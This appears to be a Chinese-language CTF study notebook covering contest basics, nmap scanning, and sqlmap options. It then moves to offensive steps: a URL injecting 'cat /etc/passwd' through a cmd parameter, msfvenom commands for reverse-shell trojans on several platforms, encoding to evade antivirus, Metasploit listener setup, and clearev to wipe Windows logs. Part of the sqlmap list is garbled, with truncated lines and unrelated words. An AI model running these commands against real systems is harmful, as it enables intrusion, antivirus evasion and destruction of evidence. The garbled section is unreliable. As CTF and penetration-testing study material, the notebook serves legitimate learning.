CTF竞赛

CTF入门指南

CTF基础概念

CTF是一种网络安全竞赛形式,主要通过解密、逆向工程、网络攻击、隐写术等方式解决各种网络安全挑战。
CTF题型通常分为Jeopardy(解题型)和Attack-Defense(攻防型)两大类。Jeopardy题目常见分类有Web、Crypto、Pwn、Reverse、Forensics等。

考点

Web安全:学习基础Web漏洞(如XSS、SQL注入),逐步理解现代Web应用安全。
逆向工程(Reverse Engineering):熟悉汇编语言、调试工具,掌握静态和动态分析。
Pwn:学习二进制安全基础知识,如缓冲区溢出、格式化字符串漏洞。
密码学(Crypto):了解常见加密解密算法及其破解方式。
取证(Forensics):掌握文件分析、磁盘取证、内存分析的基本方法。
隐写术(Steganography):研究文件中的隐写信息,如图像、音频和文档。

常用工具

  • 逆向分析:IDA Pro、Ghidra、x64dbg
  • Web漏洞挖掘:Burp Suite、SQLmap、Nmap
  • 密码学工具:CyberChef、Hashcat、John the Ripper
  • 取证分析:Autopsy、Volatility
  • 隐写术工具:Stegsolve、Exiv2、Audacity

CTF题库和刷题平台

  • CTFHub:包含大量CTF题目,适合初学者练习和巩固基础。

  • Pwnable.kr:专注于Pwn题型的训练平台,有详细的解题指引。

  • Root-Me:拥有不同难度级别的安全挑战,涵盖Web、密码学、逆向工程等题型。

  • Cryptohack:专门提供密码学题目的练习平台。

  • WebGoat:OWASP维护的一个Web安全靶场,适合Web安全知识的系统化学习。

CTF资源与解题思路

  • CTF Wiki:一个全面的CTF学习资源库,涵盖各种题型的理论知识和工具使用。
  • SecWiki:网络安全资源平台,包含CTF题解、知识点总结及工具推荐。
  • CTF All-In-One:GitHub上的CTF学习项目,包含丰富的入门教程和进阶题解。

Nmap工具

Nmap 是一款功能强大的网络扫描与安全审计工具,广泛用于网络发现、端口扫描、操作系统及服务识别、漏洞检测等场景。

默认nmap只扫描常用的1000的端口

要扫描所有端口需要在命令里加上-p-

扫描指定的端口使用-p端口来指定

以上两个都不会扫描UDP端口,要扫描UDP端口需要加上U,如下

T表示tcpU表示UDP

1
2
nmap -sT 目标
nmap -sU 目标

TCP扫描

正常的TCP建立连接需要进行三次握手,

主机发送SYN到目标主机,目标主机回复SYN ACK表示我收到了,主机收到后回复SYN开始建立连接

nmap -sT同样也会完成握手动作的,只不过当目标主机发送数据过来的时候,nmap不会发送正常的数据,而是会发送RST进行会话的中断

正常结束TCP会话是需要发送FIN

在TCP报文的报头中,有几个标志字段:

SYN ACK RST FIN
同步连接序号,请求建立连接 请求/应答状态 连线复位 结束连线。

1、 SYN:同步连接序号,TCP SYN报文就是把这个标志设置为1,来请求建立连接;
2、 ACK:请求/应答状态。0为请求,1为应答;
3、 FIN:结束连线。如果FIN为0是结束连线请求,FIN为1表示结束连线;
4、 RST:连线复位,首先断开连接,然后重建;
5、 PSH:通知协议栈尽快把TCP数据提交给上层程序处理。


详细TCP三次握手

引用一文读懂TCP的三次握手(详细图解)_tcp三次握手图解-CSDN博客

详细TCP三次握手过程:

在学习TCP三次握手的过程前,首先熟悉几个缩写简称:

状态 功能
TCB 传输控制块,打开后服务器/客户端进入监听(LISTEN)状态
SYN TCP报文标志位,该位为1时表示发起一个新连接
ACK TCP报文标志位,该位为1时,确认序号有效,确认接收到消息。TCP规定,在连接建立后所有报文的传输都必须把ACK置1
seq sequence number,报文初始序列号,代表发送的第一个字节的序号
ack acknowledgement number,报文确认序号,代表希望收到的下一个数据的第一个字节的序号
熟悉上面几个标志位和序列号含义后,下面来看TCP的三次握手过程:

先上几个帮助理解的点:
不管请求还是应答,都是带两种数据:请求号SYN/应答号ACK + 数据包报文号;

请求时要发请求号SYN,应答时要发送应答号ACK在数据包传送时,发送方要发送当前数据包报文号seq和确认收到上一个数据包的确认报文号ack。

第一次握手:客户端——请求(发送请求SYN+数据包当前序列号seq,无需应答)

客户端创建传输控制块TCB,进入监听LISTEN状态。
设置SYN=1,表示这是握手报文,并发送给服务器
设置发送的数据包序列号seq=x
此时客户端处于同步已发送SYN-SENT状态

第二次握手:服务器——确认(发送应答ACK+请求SYN+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq)
设置ACK=1,表示确认应答。
设置ack=x+1,表示已收到客户端x之前的数据,希望下次数据从x+1开始
设置SYN=1,表示握手报文,并发送给客户端
设置发送的数据包序列号seq=y
此时服务器处于同步已接收SYN-RCVD状态

第三次握手:客户端——确认服务器的确认(发送应答ACK+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq ,连接已建立,无需请求)
设置ACK=1,表示确认应答。
设置ack=y+1,表示收到服务器发来的序列号为seq=y的数据包,希望下次数据从y+1开始
设置seq=x+1,表示接着上一个数据包seq=x继续发送
至此三次握手结束,连接建立


同样是以TCP数据段里表示会话的状态的,使用nmap sT会存在一定的副作用,

1
nmap -sT 127.0.0.1

首先因为需要完成握手的整个动作的过程,因此比较花时间,其次目标主机通常会对完成握手的会话进行日志的记录,扫描的时候容易留下痕迹,我们也不能完全否认nmap -sT的作用,因为只要目标主机发送了SYN/ACK包过来,nmap就可以标记这个端口是open开放状态的了,如果目标主机返回的不是SYN/ACK包,而是RST包,nmap则会记录这个端口为closed关闭状态,如果nmap发送SYN包以后没有收到回复的话,那就很有可能被防火墙阻挡了,此时nmap就会标记端口为filtered被过滤状态了,为了不留下明显的痕迹需要用高级一点的nmap -sS

当收到目标主机发送过来的SYN/ACK的时候nmap不会走完整个TCP握手过程,不会发送FIN而是发送RST,在收到目标主机的SYN/ACK的时候,其实也是确认了访问这个的端口是开放的,既然目的达到了,自然就用RST赶紧结束会话了,如果收到的不是SYN/ACK而是RST,则表示目标主机的这个端口关闭了,如果连RST都没收到,什么都没有收到的话,那大概率是被防火墙拦截了,也就是会标记为“过滤”,另外收到ICMP报错消息,也会被标记为“过滤”。

如果直接发送RST不是更省事吗,但是目标主机会以为你没有收到SYN/ACK,导致目标主机重传,nmap在这里只是想要了解信息,并不是要进行破坏或者资源的浪费,因为nmap -sS没有完成整个握手过程,因此被称为“半连接”扫描,或者“半开”扫描,还可以叫做SYN扫描,对于nmap的TCP扫描来说,nmap的SYN扫描能够更快达到目的,而且因为没有完成握手的过程,相对来说不被保存日志的几率会更低,就更不容易留下痕迹了

如果直接用nmap进行扫描,默认会进行TCP连接扫描,如果加上sudo,默认则是用SYN半连接进行扫描

UDP扫描

UDP不像TCP扫描和SYN那样,都以收到SYN/ACK来判断端口的开放。UDP没有ACK这样的确认机制 ,也就是说,UDP只能依靠目标主机的回复做出判断

问题是对于大部分端口,nmap发送的数据包没有负载,对方相当于收到一个空包,这样的数据包一般不会收到主机目标的回复,另外如果防火墙丢了你的包,一般也不作回复,因此在使用UDP扫描的时候会经常看到openfiltered一起显示,此时端口可能开放了,也可能被防火墙阻挡了

那如果UDP包收到回复了呢,此时并不是有鬼,而是如果UDP端口关闭了,一般会回复类型和代码为3的ICMP

那我们如何判断UDP端口是开放还是被过滤了呢

小技巧是使用nmap -sUV 这里加的V会进行版本扫描,nmap会在open|filtered的端口中做探测 ,确认运行的软件版本

,从而明确端口为开放的状态,使用UDP会有一个痛点就是慢,毕竟目标主机不会回复没有负载的UDP包,加上防火墙以及限流的关系,导致诸多不确定因素,因此同一端口nmap一般会出现太多次探测请求的情况,UDP扫描最好配合其他选项进行探测,例如

1
nmap -sUV --top-ports

意思是扫描常用的端口,如果加上数字100,则表示扫描常用的100个UDP端口

1
nmap -sUV --top-ports 100

icmp和ping扫描

端口扫描是nmap的核心功能,主机发现也是一个重点,一般是先探测有哪些主机是在运行,然后再对正在运行的主机进行端口扫描,查看它开放了什么服务以及放行了哪些端口。

在没有学习nmap之前我们一般用ping命令,来查看是否能和目标主机连通,从而确定目标主机是否在运行

在nmap里直接用nmap -sn就可以进行ping扫描了 ,和直接用ping命令不同的是,单独的ping命令一次只能ping一个地址

而nmap在这里可以用-表示IP的范围,当然也可以用CIDR的方式来指明范围

1
2
nmap -sn 192.168.122.1-100
nmap -sn 192.168.122.0/24

不管是本地,还是远程的网络我们都可以用nmap -sn来进行,不同的是,扫描本地网络实际上用了ARP协议进行请求,扫描远程网络则用了ICMP协议,还会利用TCP SYNTCP ACK进行主机发现,可是遇到用windows服务器就要注意了比如2016,2019,2022这样的版本防火墙会默认屏蔽掉所有ICMP包 ,如果继续用nmap -sn就会进入死胡同了

此时nmap -Pn会更实用,-Pn相当于No Ping,不要ping了,以此来绕过防火墙的阻挡

但是这个命令非常耗时间,因为nmap会假设目标主机是正在运行的,如果目标主机没有在运行,会导致nmap重复探测

扫描存活主机

-sP

1
nmap -sP 192.168.122.0/24

nmap -sP 192.168.122.0/24 是一条使用 nmap 工具进行网络扫描的命令,以下是该命令的详细解释:

命令分解

  1. -sP:

    • -sPnmap 的一个选项,用于执行 主机发现(Host Discovery)或 Ping 扫描
    • 在较新的 nmap 版本中,这个选项被重命名为 -sn,但 -sP 仍然被支持以保持向后兼容。
    • 使用 -sP 时,nmap 不会对目标主机进行端口扫描,而是仅尝试确定哪些主机是“存活”的(即,哪些主机响应了 ICMP Echo 请求(ping)或其他探测方法)。
  2. 192.168.122.0/24:

    • 这是一个 CIDR 表示法的 IP 地址范围。
    • 192.168.122.0 是网络地址,/24 表示子网掩码为 255.255.255.0。
    • 因此,这个范围包括从 192.168.122.1192.168.122.254 的所有 IP 地址(192.168.122.0 是网络地址,192.168.122.255 是广播地址,通常不分配给主机)。

命令功能

  • 该命令会向 192.168.122.0/24 范围内的每个 IP 地址发送探测包(通常是 ICMP Echo 请求,但也可能包括其他协议的探测,具体取决于目标主机的配置和 nmap 的默认行为)。
  • 如果目标主机响应了探测包,nmap 会将其标记为“存活”。
  • 扫描完成后,nmap 会输出一个存活主机的列表。

示例输出

执行该命令后,你可能会看到类似以下的输出:

1
2
3
4
5
6
7
Starting Nmap 7.92 ( https://nmap.org ) at 2023-10-05 12:34 CST
Nmap scan report for 192.168.122.1
Host is up (0.0004s latency).
Nmap scan report for 192.168.122.2
Host is up (0.0003s latency).
...
Nmap done: 254 IP addresses (2 hosts up) scanned in 5.12 seconds

这个输出表示在 192.168.122.0/24 范围内,nmap 发现了 2 台存活的主机(IP 地址为 192.168.122.1192.168.122.2)。

注意事项

  • 主机发现扫描可能会被防火墙或 IDS/IPS 系统检测到,因此在进行此类扫描时请确保你有合法的授权。
  • 在某些网络环境中,ICMP Echo 请求可能会被禁用或过滤,因此 nmap 可能会使用其他协议(如 TCP SYN、TCP ACK 等)进行探测。
  • 如果你使用的是较新的 nmap 版本,建议使用 -sn 选项而不是 -sP

在较新的 nmap 版本中,-sP 参数已被弃用,推荐使用 -sn 参数来进行主机发现。不过,除了 -snnmap 还提供了其他一些选项和方法来进行主机发现或扩展扫描功能。

-sn

在较新的 nmap 版本中,-sP 参数已被弃用,推荐使用 -sn 参数来进行主机发现。不过,除了 -snnmap 还提供了其他一些选项和方法来进行主机发现或扩展扫描功能。

  • 功能:与旧的 -sP 类似,-sn 参数用于仅执行主机发现,而不进行端口扫描。
  • 示例
    1
    nmap -sn 192.168.122.0/24

结合其他选项进行更灵活的主机发现

虽然 -sn 是专门用于主机发现的选项,但你可以结合其他选项来增强扫描的灵活性和效果。

常用的主机发现相关选项:

  • **-PE**:发送 ICMP Echo 请求(ping)。
  • **-PP**:发送 ICMP 时间戳请求。
  • **-PM**:发送 ICMP 地址掩码请求。
  • **-PS[portlist]**:发送 TCP SYN 包到指定端口(默认 80)。
  • **-PA[portlist]**:发送 TCP ACK 包到指定端口(默认 80)。
  • **-PU[portlist]**:发送 UDP 包到指定端口(默认 31338)。
  • **-PY[portlist]**:发送 SCTP INIT 包到指定端口。
  • **-n**:不进行 DNS 解析,加快扫描速度。
  • **-R**:总是进行 DNS 解析。

示例组合:

  • 仅使用 TCP SYN 进行主机发现

    1
    nmap -sn -PS80,443 192.168.122.0/24

    这将向目标网络中的每个 IP 地址发送 TCP SYN 包到 80 和 443 端口,以确定哪些主机是存活的。

  • 结合多种探测方法

    1
    nmap -sn -PE -PS80 -PU53 192.168.122.0/24

    这将同时使用 ICMP Echo 请求、TCP SYN 到 80 端口和 UDP 到 53 端口的探测方法。

使用脚本进行更高级的主机发现

nmap 的脚本引擎(NSE)允许你编写自定义脚本,以实现更高级的主机发现和漏洞检测。

  • 示例脚本broadcast-dns-service-discovery
    • 这个脚本可以用于发现网络中的 DNS-SD 服务。
    • 使用方法:
      1
      nmap --script broadcast-dns-service-discovery 192.168.122.0/24

总结

  • 推荐使用-sn 参数进行基本的主机发现。
  • 灵活组合:结合其他探测选项(如 -PE-PS-PU 等)以适应不同的网络环境和需求。
  • 高级功能:利用 NSE 脚本进行更复杂的主机发现和服务检测。

通过合理选择和组合这些选项,你可以更有效地进行网络扫描和主机发现。

-PE-PS-PUnmap 工具中用于主机发现的选项,分别通过不同的协议或方法探测目标主机是否存活。以下是它们的具体使用方法和应用场景:


其他主机发现

1. -PE

功能:发送 ICMP Echo 请求(即 ping 请求)探测目标主机。
使用方法

1
nmap -PE 192.168.122.0/24

说明

  • 如果目标主机允许 ICMP Echo 请求,响应则表明主机存活。
  • 适用于大多数网络环境,但可能被防火墙阻止。

2. -PS

功能:发送 TCP SYN 包到指定端口探测目标主机。
使用方法

1
nmap -PS80,443 192.168.122.0/24

说明

  • 默认端口为 80,但可通过参数指定其他端口(如 443)。
  • 适用于防火墙阻止 ICMP 请求但允许 TCP 流量的情况。
  • 如果目标主机返回 SYN/ACK,则主机存活;若返回 RST,则主机可能不存活或端口被过滤。

3. -PU

功能:发送 UDP 包到指定端口探测目标主机。
使用方法

1
nmap -PU53,67 192.168.122.0/24

说明

  • 默认端口为 31338,但可通过参数指定其他端口(如 53、67)。
  • 适用于目标主机或防火墙阻止 TCP 和 ICMP 流量的情况。
  • 如果目标主机返回 ICMP Port Unreachable,则端口关闭但主机可能存活;若无响应,则端口可能开放或被过滤。

组合使用示例

可以结合多个选项以提高探测成功率:

1
nmap -PE -PS80 -PU53 192.168.122.0/24

效果

  • 同时使用 ICMP Echo、TCP SYN 和 UDP 探测方法。
  • 适用于复杂网络环境,增加发现存活主机的概率。

注意事项

  1. 权限要求
    • 发送原始数据包(如 TCP SYN)通常需要 root 权限。
  2. 防火墙影响
    • 防火墙可能阻止特定协议的流量,导致探测失败。
  3. 网络性能
    • 大量探测可能占用网络带宽,建议在非高峰期执行。

总结

选项 协议 特点
-PE ICMP Echo 快速,但可能被防火墙阻止
-PS TCP SYN 适用于 TCP 流量未被阻止的网络,隐蔽性较好
-PU UDP 适用于 ICMP 和 TCP 均被阻止的网络,但 UDP 响应可能较少

通过合理选择和组合这些选项,可以更有效地发现网络中的存活主机。

扫描版本参数

1
nmap -p- -sV 192.168.122.0

Sqlmap常用参数

1
2
3
sqlmap -u "地址" --current-db --batch
sqlmap -u "地址" -D 库名 --tables --batch
sqlmap -u "地址" -D 库名 -T 表名 --dump --batch
  • –current-db获取当前使用的数据库
  • –batch保持默认选项
  • -D参数用来指定库名
  • –tables用来获取-D参数指定的库下的所有表名
  • –tables用来获取-D参数指定的库下的所有表名
  • –dump表示获取表的数据

1.基本参数

  • -u <URL>:指定目标URL-u "http://example.com/vuln?id=1"

  • -r <请求文件>:从

  • -m <文件>:从文件读取

  • --data <数据>:发送POST请求数据

  • --cookie <cookie>:指定要发送的 Cookie

  • --user-agent <agent>:设置User-Agent

  • --random-agent:随机选择User-Agent

  • --referer <referer>:设置

    检测选项

2.检测选项

  • --level <level>:设置检测
  • --risk <risk>:设置风险
  • --technique <tech>指定地点:BE(报错)U(联合查询)、``S(堆T`(时间盲
  • --time-sec <seconds>:设置时间盲注

3.杂

  • --dbs:枚举。
  • --tables:参加研究的--tables -D testdb
  • --columns:体育节目的--columns -D testdb -T users
  • --dump--dump -D testdb -T users
  • --dump-all:導
  • --search:搜索数据库

4. 绕过

  • --tamper <scripts>:指定--tamper=space2comment
  • --delay <秒>:设置每次请求
  • --timeout <秒>:设置请求

5.认证参数

  • --auth-type <类型>:设置认证类型,支持Basic摘要DigestNTLM`等。
  • --auth-cred <用户:密码>
  • --proxy <代理>:设置HTTP--proxy=http://127.0.0.1:8080
  • --tor

6. 输出控制

  • --batch:自动接受默认
  • -o:保存扫描
  • --output-dir <目录>:指定

7. 实例

例如,使用sqlmap进行

1
sqlmap -u "http://example.com/vuln?id=1" --dbs

这个命令会尝试检测目标页面的 SQL 注入漏洞并推出可用的数据库。

传参方法

利用方法在网址内里输入命令

1
http://1.1.1.1/index.php?m=design&c=api&token=ba0VXPBUXu&id=4&format=&cmd=system('cat /etc/passwd');

cmd与前面=号需要用&连接

反弹木马

php反弹马

1
msfvenom -p php/meterpreter/reverse_tcp lhost=ip号 lport=端口号 -f raw -o name.php

基于 msfvenom 工具,除了 PHP 反弹木马外,还可以生成其他系统(如 Windows、Linux 等)的反弹木马。以下是 Windows 反弹木马的生成方法

Windows 反弹马

使用 msfvenom 生成 Windows 平台的反弹木马,是基于asp语言实现的。可以按照以下命令格式进行操作。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f exe -o <输出文件名>.exe

示例命令

假设攻击者的 IP 地址为 172.31.16.181,监听端口为 1234,生成的木马文件名为 backdoor.exe,则命令如下:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.31.16.181 LPORT=1234 -f exe -o backdoor.exe

参数说明

  • -p windows/meterpreter/reverse_tcp:指定使用的 Payload,这里是 Windows 平台的 Meterpreter 反弹 TCP Shell。
  • LHOST:攻击者的 IP 地址,即木马反弹连接的地址。
  • LPORT:攻击者监听的端口,即木马反弹连接的端口。
  • -f exe:指定输出文件的格式为 Windows 可执行文件(.exe)。
  • -o backdoor.exe:指定输出文件的名称为 backdoor.exe

其他系统的反弹木马

除了 PHP 和 Windows,msfvenom 还支持生成其他系统和平台的反弹木马,例如:

  1. Linux 反弹木马

    1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f elf -o <输出文件名>
  2. Android 反弹木马

    1
    msfvenom -p android/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> R > <输出文件名>.apk
  3. Python 反弹木马

    1
    msfvenom -p cmd/unix/reverse_python LHOST=<攻击者IP> LPORT=<监听端口> -f raw > <输出文件名>.py
  4. Perl 反弹木马

    1
    msfvenom -p cmd/unix/reverse_perl LHOST=<攻击者IP> LPORT=<监听端口> -f raw > <输出文件名>.pl

注意事项

  1. 合法性与道德性:反弹木马属于恶意软件,生成和使用反弹木马可能违反法律法规。请确保在合法授权的环境下进行测试,例如在获得目标系统所有者明确许可的渗透测试中。

  2. 安全防护:反弹木马容易被杀毒软件和防火墙检测到。为了增强木马的隐蔽性,可以使用编码器(Encoder)对木马进行混淆或加密,例如:

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.31.16.181 LPORT=1234 -e x86/shikata_ga_nai -i 3 -f exe -o backdoor_encoded.exe

    其中:

    • -e x86/shikata_ga_nai:指定使用的编码器。
    • -i 3:指定编码次数为 3 次。
  3. 监听配置:生成木马后,需要在攻击者机器上使用 Metasploit 的 multi/handler 模块进行监听,以便接收反弹回来的连接。


总结

msfvenom 是一个功能强大的工具,可以生成多种系统和平台的反弹木马。在生成和使用反弹木马时,务必遵守法律法规和道德准则,确保操作的合法性和安全性。

监听步骤

反弹马运行后,需要用msfconsole监听反弹回来的会话。

msfconsole运行后使用exploit/multi/handler模块进行监听。使用show options后发现需要设置三个参数。

分别是payloadlhostlport

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target
  1. 先显示一下所有参数设置show options

  2. 设置恶意代码参数set payload php/meterpreter/reverse_tcp

  3. 设置攻击者IP:set lhost 192.168.122.1

  4. 设置攻击者的端口号:set lport 1234

  5. 运行监听器exploit

  6. 反弹meterpreter会话时,输入shellEnter进入对方终端

最后清除日志clearev

clearev 是一个用于清除系统日志的命令,常见于渗透测试工具(如 Metasploit 框架的 Meterpreter 会话)中。其主要作用是删除目标系统上的日志文件,以隐藏攻击者的活动痕迹,具体功能如下:

  1. 清除 Windows 系统日志
    clearev 命令会删除 Windows 系统中的以下日志:

    • 应用程序日志
    • 系统日志
    • 安全日志
      这些日志通常存储在事件查看器(Event Viewer)中,记录了系统的运行状态、安全事件和应用程序活动。
  2. 隐藏攻击痕迹
    通过清除日志,攻击者可以避免被系统管理员或安全软件检测到其入侵行为,例如:

    • 删除登录失败的记录,掩盖暴力破解尝试。
    • 清除恶意软件运行或权限提升的操作日志。
  3. 适用于后渗透阶段
    在成功控制目标系统后,攻击者可能使用 clearev 来清理痕迹,以便继续横向移动或维持长期控制。

注意事项

  • 合法性与合规性:清除日志属于敏感操作,可能违反法律法规(如《网络安全法》)。仅限在授权的渗透测试或安全研究中使用
  • 日志服务器风险:如果目标系统的日志被集中存储在日志服务器上,本地清除可能无效。
  • 检测与防御:安全软件可能监控日志删除行为,因此需谨慎操作。

示例场景

在 Metasploit 的 Meterpreter 会话中,攻击者可以执行以下命令:

1
clearev

这将自动清除目标 Windows 系统上的应用程序、系统和安全日志。

RSA加密

目前还不会。。。

用echo命令MD5加密

-n代表不换行,不然加密的内容就是 加密文本+换行符

1
echo -n 要加密的内容文本 |md5sum